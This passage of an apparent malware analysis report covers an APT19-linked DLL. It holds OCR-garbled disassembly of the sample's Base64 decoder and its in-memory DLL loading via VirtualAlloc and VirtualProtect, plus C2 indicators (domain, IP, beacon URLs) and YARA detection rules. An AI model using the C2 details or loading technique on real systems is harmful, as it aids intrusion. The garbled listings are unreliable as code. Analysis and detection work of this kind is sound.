data would be Base64-encoded. Indeed we were able to identify the function where the
server’s response is Base64-decoded:
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text:6CD74375 var_184= byte ptr -184h
text:6CD74375 var_183= byte ptr -183h
text:6CD74375 var_4= dword ptr -4
text:6CD74375 arg_@= dword ptr 3
text:6CD74375 arg_4= dword ptr  8Ch
text:6CD74375 arg_8= dword ptr 1Bh
Lext:eCD74375

Ltext:6CD74375 push ebp

text:6CD74376 mov ebp, esp

Ltext:6CD74378 sub esp, 158h
text:6CD7437E mov eax, __ security cookie
text:6CD74383 xor eax, ebp

text:6CD74385 mov [ebptvar_4], eax
text:6CD74388 mov eax, [ebptarg_4]
Jtext:6CD7438B push ebx

text:6C07438C push esi

text:6CD74380 push edi

text:6CD7438E push 1@h

Ltext: 60074398 mov ebx, ecx

Lhext:6CD74392 pop eCx

text: 60074393 mov esi, offset aﬁbcdefgﬂijklmn 5 “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm™. ..
Ltext:6CD74398 lea edi, [ebptvar_148]
text:6CD7439E rep movsd

Jtext:6C074358 mov [ebptvar_158], eax
text:6CD74346 mov eax, [ebptarg_8]
Jtext:6C0743A9 push BFFh ; size t
text:6CD743AE mov [ebp+var_14C], eax
text:6CD743B4 lea eax, [ebptvar_183]
text:6CD743BA push e 5 dint
Ltext:6C0743BC push Eax ; void *
Ltext:6CD743BD movsh

text:6C0O743BE mov [ebptvar_184], @
Jtext:6CD743C5 call _memset

Ltext:6CD743CA add esp, @Ch

text:6CD743CD mov esi, ebx

Ltext:6CD743CF test ebx, ebx

text:6CD743D01 jle short loc_6CD743E2
Figure 63

25/29



text:6C074445 mov eax, [ebptarg @8]
text:6C074448 lea esi, [ebx-1]
text:58C07444E shr esi, 2
text:6C07444E inc eax
text:6C07444F inc esi
> vy
Ll e [-=
Jtext:aCD74458
text:6C074458 loc BCD74458:
text:6C074450 movzx  ecx, byte ptr [eax-1]
text:6C074454 mov cl, [ebptecxtvar 184]
.text:6C074458 movzx  ebx, byte ptr [eax]
Ltext:6CDVA45E mov bl, [ebptebx+var_184]
text:6CD74465 shl (] GEREE
Jtext:6CD74468 shr bl, &
Jgext: 60074468 or cl, bl
text:6C074460 mov [edi], cl
.text:6C07446F movzx  ecx, byte ptr [eax+l]
text:6C074473 movzx  ebx, byte ptr [eax]
text:6C074476 mov cl, [ebptecxtvar_l84]
Ltext:6CD7447D mov bl, [ebptebx+var_184]
text:6CD74484 shr cl, 2
Ltext:6CD74487 shl bl, 4
Jgext: 600744848 or cl, bl
text:6C07445C mov [edit1], cl
.text:6C07448F movzx  ecx, byte ptr [eax+l]
text:6C074493 movzx  ebx, byte ptr [eax+2]
Ltext:6C074497 mov cl, [ebptecxtvar_l84]
Ltext:6CD7449E shl cl, 6
Ltext:eCD744A1 or cl, [ebp+ebx+var_184]
text:6CD744A8 add edi, 3
Ltext: 6COVALAB mov [edi-1], cl
Ltext:eCD7444E add eax, 4
.text:6C0744B1 dec esi
.text:6CD744B2 jnz short loc 6C074458
|

At the time of analysis, no live response has been provided by the C2 server. According to
the Unit42 article, the server would respond with a DLL file with 4 exports: StartWorker,
StopWorker, WorkerRun and DIIEntryPoint. Even if we didn’t receive a valid response from
the server, we were able to find out that the malicious process allocates a new memory area

in order to write the DLL code inside:

Figure 64
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il i =

Figure 65

LtextieCD74C1C
text:6C074C1C loc BCDT74CIC:
text:6C074C1C push esi
Ltext:e6CD7ACID mov esi, ds:VirtualAlloc
.text:6CD74C23 push edi
Ltext:eCD74C24 push 4 ; TlProtect
Jgext:6CDTAC26 mov edi, 288ah
Ltext:6COVAC2E push edi ; TlAllocationType
text:6CD74C2C push dword ptr [ebx+58h] ; dwSize
text:6C074C2F push dword ptr [ebx+34h] ; lpAddress
Ltext:6C074C32 call esi ; Virtualalloc
Ltext:6C074C34 mov [ebp+lpAddress], eax
Tdext:elDFAC3IT test eax, eax
Ltext:eCD74C39 jnz short loc_6CD74CAF

y L 4
ol s =]
Ltext:6C074C36 push 4 ; TlProtect
Ltext:6C074C30 push edi ; TlAllocationType
.text:6CD74C3E push dword ptr [ebx+58h] ; dwSize
.text:6C074C41 push eax ; lpAddress
Ltext:6CD74C42 call esi ; VirtualAlloc
Ltext:eCD74C44 mov [ebp+lpAddress], eax
Tdext:elDFACAT test eax, eax
text:6CD74C49 jz loc_eCD74DBS

The 'new area of memory has to”b'e"e"xecutable because the potentiaI'DLL has to run, and
that’s why the malware uses VirtualProtect in order to change the protection of the area:

Ll 1 5]
text:6CD749E6 push 4aa8h ; dwFreeType Ltext:6CD74438
text:6CD749EE push dword ptr [ebx-14h] ; dwSize Ltext:6C0744A38 loc 6CD74A38:
text:6CD749EE push dword ptr [ebx-1Ch] ; lpAddress| |.text:6CD74A38 lea eax, [ebp+flOldProtect]
text:6CD749F1 call ds:VirtualFree Ltext: 60074433 push eax ; 1pfloldProtect
text:6CD749F7 jmp short loc_6CD74A3F Ltext:6C074A34 push esi ; TlNewProtect
Ltext:6CD74A35 push ecx ; dwSize
Ltext:6CD74A36 push dword ptr [ebx-1Ch] ; lpAddress
Ltext:6CD74A39 call ds:VirtualProtect
]
ARK:
Figure 66

After the malicious code would be written in the new memory location, the process would
pass the execution flow to the new DLL file, as shown in the figure below:

References

Figure 67

o s =]

.text:6CD74CEC push ]

text:6CD74CEE xor ebx, ebx

Ltext:6C074CF8 inc ebx

Ltext:6CO7ACFL push ebx

.text:pCD74CF2 push esi

.text:6CD7ACF3 call eax

Ltext:6CD7ACFS test eax, eax

.text:6CD74CF7 jnz short loc_6CD74D84
yYryYewy Y
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Unit42 report: https://unit42.paloaltonetworks.com/new-attacks-linked-to-c0d0s0-group/

VirusTotal link:

https://www.virustotal.com/qgui/file/de33dfce8143f9f929abda910632f7536ffa809603ec027a4 1
93d5e57880b292/detection

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

Fakenet: https://github.com/fireeye/flare-fakenet-ng

FireEye: https://www.fireeye.com/current-threats/apt-groups.htmi#apt19

INDICATORS OF COMPROMISE
C2 domain: www.microsoft-cache[.Jcom
C2 IP address: 106.185.43.96

SHA256:
DE33DFCE8143F9F929ABDA910632F7536FFA809603EC027A4193D5E57880B292

URLs: 106.185.43.96/user/atv.html

www.microsoft-cache[.Jcom:443/money/ofcom-fines-nuisance-calls?
0023528460592137&data=<12 random chars>

www.microsoft-cache[.Jcom:443/world/video/shrien-dewani-arrives-uk-murder-trial-collapses-
video?0023528461146965&data=<12 random chars>

www.microsoft-cache[.Jcom:443/lifeandstyle/marmalade-paddington-sales-up-making-
drinking?0023528460592137&data=<12 random chars>

Yara rules for detecting the threat

rule APT19_1 {
meta:
author = "CyberMasterVv"
Date = "2020-12-26"

strings:
$s1 = "http://www.google.com" wide ascii
$s2 = "Mozilla/5.0 (Macintosh; U; Intel Mac 0S X 10_6_2; en-US)

ApplewWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3" wide ascii

$s3 = "%s?%016164d&data=%s"

$s4 = "DebugCreate"

$s5 = "DebugConnect"
condition:

4 of them
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rule APT19_2 {
meta:
author = "CyberMasterVv"
Date = "2020-12-26"

strings:
$s1 = "DbgEng.D11" wide ascii
$s2 = "Windows Helper Service"

$s3 = "WinHelpSrv"

$s4 = "KBKBKBKBKBKB"
condition:

3 of them
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